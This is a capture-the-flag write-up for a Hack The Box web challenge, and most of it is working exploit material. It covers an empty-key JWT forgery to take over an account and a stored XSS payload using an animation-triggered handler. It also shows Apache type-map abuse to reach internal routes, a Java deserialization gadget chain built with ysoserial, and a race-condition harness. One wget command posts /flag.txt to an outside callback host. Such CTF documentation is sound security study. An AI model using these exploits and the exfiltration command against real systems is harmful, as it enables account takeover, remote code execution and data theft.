EventHack The Box Cyber Apocalypse 2026
CategoryWeb
DifficultyHard
Points975
OutcomeSolved
Signetry challenge overview on Hack The Box

First world problems, I guess?


The assignment

The challenge asked me to change a corrupted oath before it turned Sir Garran Voss against the soldiers beside him.

The supplied files contained an Apache frontend, a Go application, a Headless Chrome review bot, Redis-backed model staging, and a Java/DL4J model registry. The flag lived inside the Java container. Reaching it required several privilege and trust-boundary crossings.


Reading the system before touching it

I started in the source. There were too many moving parts to treat the application as one target, so I mapped the boundaries first.

The password-reset token

nl -ba crownspire/internal/auth/authenticator.go |
sed -n '38,70p;150,165p'
Go authenticator showing empty HMAC key and reset handler trusting JWT jti

QOR was initialized without an assigned signing secret. The reset handler also trusted claims.Id, populated from the JWT jti, as the account to modify. A valid token naming dms@htb.com could reset the maintainer account.

The privilege ladder

nl -ba crownspire/internal/handler/handler.go |
sed -n '42,75p'
Go route groups showing role-gated endpoints

The route groups established the path I would need to follow:

Role or contextCapability
AnonymousAuthenticate and query identity.
MaintainerStage and withdraw models, submit appeals, and upload attachments.
WardenReview appeals and reissue credentials.
CuratorFinalize staged models.
Loopback requestDispatch the Warden.

Apache and the upload directory

nl -ba apache/signetry.conf |
sed -n '25,46p'
Apache configuration showing uploads alias and MultiViews with subrequest exemption

Apache served /uploads from the writable attachment directory, treated .var files as type maps, and enabled MultiViews. Everything else was proxied to Crownspire on loopback. Ordinary external requests to /internal were blocked, but the restriction exempted subrequests.

That configuration made an uploaded type map worth investigating.

The Warden

nl -ba crownspire/cmd/wardenbot/main.go |
sed -n '27,68p;119,143p'
Warden bot authenticating and placing session into Chromium Warden bot visiting queued paths under Crownspire origin

The Warden authenticated as warden@htb.com, placed its HttpOnly session into Chromium, and visited queued paths under the Crownspire origin. If I could make it open a stored appeal, the browser would carry the service account's authority with it.

The appeal renderer

nl -ba crownspire/frontend/src/pages/MemoryBank.jsx |
sed -n '1,16p;157,159p;569,576p'
React appeal renderer with html-react-parser and incomplete blocklist

Appeal bodies passed through html-react-parser after an incomplete blocklist. The ingredients were present, but I still needed to prove every transition.

Time to dive in!


Resetting the maintainer account

I confirmed the public baseline first:

curl -sS -i "$TARGET/api/whoami" |
sed -n '1,25p'
whoami endpoint returning anonymous role
{"role":"anonymous","sub":"anonymous"}

The endpoint was public, the role was anonymous, and Apache was fronting the Go application.

I generated an HS256 reset token with the maintainer identity in jti. The application used an empty HMAC key, so the signing operation reduced to:

message = encoded_header + b"." + encoded_payload
signature = b64url(
    hmac.new(b"", message, hashlib.sha256).digest()
)

The full token is omitted. I submitted it with a temporary challenge password:

jq -nc \
  --arg token "$RESET_TOKEN" \
  --arg password '[REDACTED]' \
  '{reset_password_token:$token,new_password:$password}' |
curl --max-time 10 -sS -i \
  -X POST "$TARGET/auth/password/update" \
  -H 'Content-Type: application/json' \
  --data-binary @-
Password reset accepted for dms@htb.com

The server accepted the reset for dms@htb.com.

Excellent. The forged empty-key JWT reset the maintainer account.

I logged in, saved the HttpOnly session to a cookie jar, and checked it:

jq -nc \
  --arg login 'dms@htb.com' \
  --arg password '[REDACTED]' \
  '{login:$login,password:$password}' |
curl --max-time 10 -sS \
  -c /tmp/signetry-maint.cookies \
  -X POST "$TARGET/api/login" \
  -H 'Content-Type: application/json' \
  --data-binary @- |
jq .

curl --max-time 10 -sS \
  -b /tmp/signetry-maint.cookies \
  "$TARGET/api/whoami" |
jq .
Login and whoami confirming maintainer role
{
  "role": "maintainer",
  "sub": "dms@htb.com"
}

Maintainer access confirmed.


Building the stored appeal

The maintainer could submit appeals and upload attachments, but could not finalize models. That authority belonged to the curator.

I reproduced the application's React and html-react-parser versions locally and rendered several test payloads. React discarded string event handlers on standard elements, but preserved one on a custom HTML element. A short CSS animation could invoke it without a click.

Let's tango.

The stored appeal followed this structure:

<x-signetry
  style="display:block;animation:oath 1ms"
  onanimationstart="fetch(
    '/admin/credential/reset',
    {/* request body redacted */}
  )">
</x-signetry>
<style>
  @keyframes oath {
    from { opacity:.99 }
    to { opacity:1 }
  }
</style>

The handler reset conservator@htb.com to a temporary challenge password. I submitted the appeal with the maintainer session:

jq -nc --arg body "$APPEAL" '{body:$body}' |
curl --max-time 10 -sS \
  -b /tmp/signetry-maint.cookies \
  -X POST "$TARGET/api/appeals" \
  -H 'Content-Type: application/json' \
  --data-binary @- |
jq .
Appeal stored and submitted for review

The appeal was stored and submitted for review.

We are not summoning the Warden quite yet.


Learning Apache's type-map syntax

I first uploaded a .var file that pointed at /internal/dispatch. Requesting it returned 404.

Nope. This one also gave us friction.

I switched to a harmless control. If the API and Apache shared the same upload directory, a plain text file should survive the round trip:

printf 'attachment-visible\n' > visibility.txt

curl --max-time 10 -sS \
  -b /tmp/signetry-maint.cookies \
  -X POST "$TARGET/api/attachments?name=visibility.txt" \
  --data-binary @visibility.txt |
jq .

curl --max-time 10 -sS -i \
  "$TARGET/uploads/visibility.txt"

The upload initially returned sign in required. The maintainer session had expired, which explained part of the apparent routing failure. I renewed the cookie and repeated the control.

Attachment upload and retrieval confirming shared directory
HTTP/1.1 200 OK
Content-Type: text/plain

attachment-visible

Score. Attachment is visible.

The API and Apache shared the same writable directory. I could now test the map parser without confusing authentication and routing failures.

Apache type maps use blank-line-separated stanzas. The first names the represented resource; the second describes a selectable variant. As someone who learned to read music as a child, I appreciate that they are called stanzas.

I pointed a two-stanza map at the control file:

printf '%s\n' \
  'URI: localprobe' \
  '' \
  'URI: visibility.txt' \
  'Content-Type: text/plain' \
  '' > localprobe.var

curl --max-time 10 -sS \
  -b /tmp/signetry-maint.cookies \
  -X POST "$TARGET/api/attachments?name=localprobe.var" \
  --data-binary @localprobe.var |
jq .

curl --max-time 10 -sS -i \
  -H 'Accept: text/plain' \
  "$TARGET/uploads/localprobe.var"
Apache parsing type map and serving visibility.txt through content negotiation
Content-Location: visibility.txt
Vary: negotiate
TCN: choice
Content-Type: text/plain

attachment-visible

Wooo! Apache parsed the map, selected visibility.txt, and served it.


Crossing the upload boundary

Root-relative and explicit proxy variants still returned 404. Those failures suggested that Apache was resolving the selected URI inside the upload alias.

I changed the variant to a relative path:

printf '%s\n' \
  'URI: relativeprobe' \
  '' \
  'URI: ../api/whoami' \
  'Content-Type: application/json' \
  '' > relativeprobe.var

curl --max-time 10 -sS \
  -b /tmp/signetry-maint.cookies \
  -X POST "$TARGET/api/attachments?name=relativeprobe.var" \
  --data-binary @relativeprobe.var |
jq .

curl --max-time 10 -sS -i \
  -H 'Accept: application/json' \
  "$TARGET/uploads/relativeprobe.var"
Relative path type map resolving whoami through Apache subrequest

Apache returned the Go application's identity response:

{"role":"anonymous","sub":"anonymous"}

The uploaded map had resolved ../api/whoami outside /uploads and routed the subrequest into Crownspire. That was the primitive I needed.


Summoning the Warden

I aimed the same relative variant at the loopback-only dispatcher:

printf '%s\n' \
  'URI: callthewarden' \
  '' \
  'URI: ../internal/dispatch' \
  'Content-Type: application/json' \
  '' > callthewarden.var

curl --max-time 10 -sS \
  -b /tmp/signetry-maint.cookies \
  -X POST "$TARGET/api/attachments?name=callthewarden.var" \
  --data-binary @callthewarden.var |
jq .
callthewarden.var uploaded successfully

Take a deep breath. Time to cross the Apache trust boundary and summon the Warden.

curl --max-time 10 -sS -i \
  -H 'Accept: application/json' \
  "$TARGET/uploads/callthewarden.var"
Warden dispatch returning 202 Accepted queued for review
HTTP/1.1 202 Accepted
Content-Type: application/json; charset=utf-8

{"status":"queued for review"}

We have ourselves a pivot.

Apache resolved the uploaded type map into /internal/dispatch. The dispatcher queued the Warden's authenticated /admin visit. The stored appeal rendered, the CSS animation fired, and the preserved handler submitted the credential-reset request.

I tested the result by logging in as the conservator, then checked the role:

jq -nc \
  --arg login 'conservator@htb.com' \
  --arg password '[REDACTED]' \
  '{login:$login,password:$password}' |
curl --max-time 10 -sS \
  -c /tmp/signetry-conservator.cookies \
  -X POST "$TARGET/api/login" \
  -H 'Content-Type: application/json' \
  --data-binary @- |
jq .

curl --max-time 10 -sS \
  -b /tmp/signetry-conservator.cookies \
  "$TARGET/api/whoami" |
jq .
Conservator login confirming curator role after Warden review
{
  "role": "curator",
  "sub": "conservator@htb.com"
}

Promotion confirmed.

I now controlled both roles needed for the model workflow. The maintainer could stage and withdraw models. The curator could finalize them.


Mapping the model registry

The final path moved into Redis and Java. I traced the stage, withdraw, and finalize handlers before building anything.

The Go service stored three keys for each staged model:

model:blob:<token>
model:unsealed:<token>
model:intake:<token>

Finalize() read the model blob into a local byte slice before checking the marker keys. Withdraw() requested deletion of the blob and both markers. Because those operations spanned several Redis keys without a transaction, their order created a narrow race:

Curator /finalize                    Maintainer /withdraw
------------------                   --------------------
Read the model blob.
                                      Delete the blob.
                                      Delete the unsealed marker.
                                      Delete the intake marker.
Check the remaining state.
Send the retained bytes to Java.

If finalization read the blob before withdrawal changed the Redis state, it could retain the bytes locally, observe the markers after deletion, and submit the unreviewed model to Java.

The normal maintainer sealing path accepted only configuration.json and coefficients.bin. An archive containing preprocessor.bin produced an unexpected-artifact finding and failed review. A separate internal-attestation path could clear the markers, but its randomly generated value was unavailable through the demonstrated chain. The finalize-withdraw race allowed the staged model to pass the marker check without review.

The Java registry validated the submitted ZIP, returned 202 after queueing it, and restored the model asynchronously with:

ModelSerializer.restoreMultiLayerNetwork(model.toFile(), false);

A serialized preprocessor.bin supplied the deserialization sink.


Recreating the baseline model

I built the supplied Maven project and recreated the registry's reference model locally. The resulting archive established the minimum valid structure:

configuration.json
coefficients.bin
Maven build and reference model structure

I generated the runtime classpath and searched the resolved JARs. Common Commons Collections gadget classes were absent. The target did contain shaded Jackson classes:

org/nd4j/shade/jackson/databind/node/POJONode.class
org/nd4j/shade/jackson/databind/node/BaseJsonNode.class

I also confirmed that my ysoserial JAR contained its Gadgets helper and Javassist:

jar tf ~/Downloads/ysoserial-all.jar |
grep -E \
  '^(ysoserial/payloads/util/Gadgets|javassist/ClassPool)\.class$'

The candidate sink was:

POJONode.toString() → Shaded Jackson serialization → TemplatesImpl.getOutputProperties() → Malicious translet initialization.


Developing the Java trigger

My first trigger used a Hashtable hash collision between XString and POJONode. It serialized, and strings confirmed that the intended objects were present:

strings -a preprocessor-test.bin |
grep -E \
  'POJONode|TemplatesImpl|XString|Hashtable'
java.util.Hashtable
org.nd4j.shade.jackson.databind.node.POJONode
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.org.apache.xpath.internal.objects.XString

Initial local reads did not create /tmp/oathforger-proof. After opening the required Java modules, the proof file appeared before a later Jackson exception. The side effect mattered more than the post-execution stack trace: POJONode to TemplatesImpl had reached the command sink.

The Hashtable trigger remained awkward, so I inspected the target's Java 11 implementation of BadAttributeValueExpException:

sudo docker run --rm eclipse-temurin:11-jdk \
  javap -private \
  javax.management.BadAttributeValueExpException

sudo docker run --rm eclipse-temurin:11-jdk \
  javap -c -private \
  javax.management.BadAttributeValueExpException |
sed -n '/readObject(/,/^}/p'

The class retained an Object val field. Its Java 11 readObject() implementation called toString() on the deserialized value when no Security Manager prevented that path. The challenge started the registry with ordinary java -jar, with no Security Manager configuration in the entrypoint.

I replaced the Hashtable collision with a BadAttributeValueExpException containing the shaded Jackson node:

Object templates = Gadgets.createTemplatesImpl(args[0]);
POJONode node = new POJONode(templates);

BadAttributeValueExpException trigger =
    new BadAttributeValueExpException(null);

Field valField =
    BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(trigger, node);

OathForger.java also removed BaseJsonNode.writeReplace() with Javassist so the POJONode survived serialization.

The final gadget builder is available from the site's Scripts page as OathForger.java.

I validated the result inside an Eclipse Temurin 11 container. VerifyOath.java deleted any old proof file, deserialized the payload, reported the expected later exception, and checked for the command's side effect.

Java 11 verification showing sink_executed=true
post_execution_exception=RuntimeException
sink_executed=true

Java deserialization reached POJONode.toString(), Jackson inspected the wrapped TemplatesImpl, and the embedded command executed before the later exception.

The Java 11 verification harness is available from the site's Scripts page as VerifyOath.java.


Packaging the live model

The target Dockerfile installed wget, so I used it to POST /flag.txt to a controlled callback. The callback identifier is redacted.

I generated the final serialized payload under Java 11:

sudo docker run --rm \
  -v /home/jenn:/home/jenn \
  -v /tmp/signetry-classpath.txt:/tmp/signetry-classpath.txt:ro \
  -w "$PWD" \
  eclipse-temurin:11-jdk sh -lc '
    CP=".:$(cat /tmp/signetry-classpath.txt):/home/jenn/Downloads/ysoserial-all.jar"

    java \
      --add-opens java.base/java.lang=ALL-UNNAMED \
      --add-opens java.management/javax.management=ALL-UNNAMED \
      --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
      --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
      --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
      -cp "$CP" OathForger \
      "wget -q --post-file=/flag.txt -O /dev/null [REDACTED_CALLBACK]" \
      preprocessor.bin
  '

I combined preprocessor.bin with the unmodified files from the reference model:

from zipfile import ZIP_DEFLATED, ZipFile

with ZipFile("reference-model.zip") as source:
    with ZipFile("oathbound-model.zip", "w", ZIP_DEFLATED) as output:
        for name in ("configuration.json", "coefficients.bin"):
            output.writestr(name, source.read(name))
        output.write("preprocessor.bin", "preprocessor.bin")

print("created=oathbound-model.zip")
zipinfo -1 oathbound-model.zip
sha256sum oathbound-model.zip
Model archive contents and SHA-256 digest
configuration.json
coefficients.bin
preprocessor.bin

The archive was ready.


Restoring the chain after a respawn

The live instance changed before the final attempt. The old target, reset token, and sessions were gone. I repeated only the transitions the new instance required:

  1. Forge a fresh maintainer reset token.
  2. Reset and authenticate dms@htb.com.
  3. Resubmit the prepared appeal.
  4. Upload and request callthewarden.var.
  5. Authenticate as the reset conservator.
  6. Verify the curator role.
Respawn chain restoration steps 1 through 3 Respawn chain restoration steps 4 through 5 Curator role verified on respawned instance

With both roles restored, I staged the malicious model as the maintainer and captured its short-lived token:

STAGE_JSON=$(
  curl --max-time 10 -sS \
    -b /tmp/signetry-maint.cookies \
    -X POST "$TARGET/stage" \
    -H 'Content-Type: application/zip' \
    --data-binary @oathbound-model.zip
)

printf '%s\n' "$STAGE_JSON" | jq .

MODEL_TOKEN=$(
  printf '%s\n' "$STAGE_JSON" |
  jq -r '.token'
)
Model staged with redacted token

The token is redacted.


Racing finalization against withdrawal

I wrote race_the_oath.py to load the maintainer and curator cookie jars, verify both roles, warm persistent HTTP connections, stage a fresh copy of the model for each attempt, and send /finalize and /withdraw from separate threads. The complete harness is also available from the site's Scripts page.

The script tested a short series of delays between the two requests. A useful result required finalization to retain the model while withdrawal changed its server-side state.

python3 race_the_oath.py "$TARGET"
Race harness output showing finalize=202 withdraw=200 on attempt 1

The first recorded attempt landed:

maintainer=maintainer
curator=curator
attempt=001 delay=0.0000 finalize=202 withdraw=200
candidate_hit=202
response={"id":"[REDACTED]","status":"accepted","preview":"queued"}

Pwned on race attempt one!

The callback received a POST from wget containing /flag.txt:

Redacted callback showing flag receipt
HTB{REDACTED}

Taken together with the source ordering and the staged model's initial state, the 202, 200, and callback supported the race. The 202 showed that the Java registry validated and queued the model, while the callback proved that its worker restored and executed it. Because withdrawal returned 200 after any valid request body, that status was not standalone proof of deletion. The complete result strongly supported finalization retaining the blob while withdrawal changed the marker state.


What made the chain possible

Each stage crossed authority that should have remained separate:

  • The reset service accepted attacker-signed tokens because its HMAC key was empty and the token selected the account.
  • The appeal renderer preserved an inline event handler on a custom element.
  • The Warden reviewed attacker-controlled markup with an authenticated service session.
  • Apache parsed type maps from a writable public directory and allowed a relative variant to reach an internal application route.
  • Model state was split across several Redis keys and changed without one atomic finalization decision.
  • The Java registry deserialized attacker-controlled model data and permitted command execution during object restoration.

The corresponding controls follow from the chain: require a nonempty high-entropy reset key, sanitize custom elements and event attributes, remove credential-reset authority from the review bot, disable content negotiation in writable directories, enforce internal authorization inside the application, make finalization atomic and digest-bound, and replace Java object deserialization with a data-only model format.


Proof of completion

The solve produced four independent checkpoints:

  1. /api/whoami returned through an uploaded type map.
  2. The conservator account reported the curator role after Warden review.
  3. Java 11 validation reported sink_executed=true.
  4. The race returned finalize=202 and withdraw=200, followed by the callback POST.

The complete flag, credentials, session values, model token, target addresses, and callback identifier are redacted.


Attribution

I completed the source review, local reproductions, live requests, exploit construction, Java validation, race execution, and flag submission documented here. I have not attributed teammate work to myself.

Hack The Box allowed AI as a supporting tool during the competition. I used it to help evaluate Apache content-negotiation variants, reason through Java gadget compatibility, refine the race harness, and edit my notes. I executed the commands, interpreted the evidence, and validated each exploit primitive against the supplied source or live target.


Full Attack Chain

  1. Forged an empty-key reset token for dms@htb.com.
  2. Authenticated as the maintainer.
  3. Submitted a self-triggering stored appeal.
  4. Uploaded a two-stanza Apache type map.
  5. Resolved ../internal/dispatch through an Apache subrequest.
  6. Queued the authenticated Warden.
  7. Reset conservator@htb.com through the stored appeal.
  8. Authenticated as the curator.
  9. Built a valid DL4J model containing preprocessor.bin.
  10. Verified the BadAttributeValueExpException to POJONode to TemplatesImpl chain under Java 11.
  11. Staged the model as the maintainer.
  12. Raced curator /finalize against maintainer /withdraw.
  13. Triggered deserialization inside the Java registry.
  14. Sent the flag file to the controlled callback.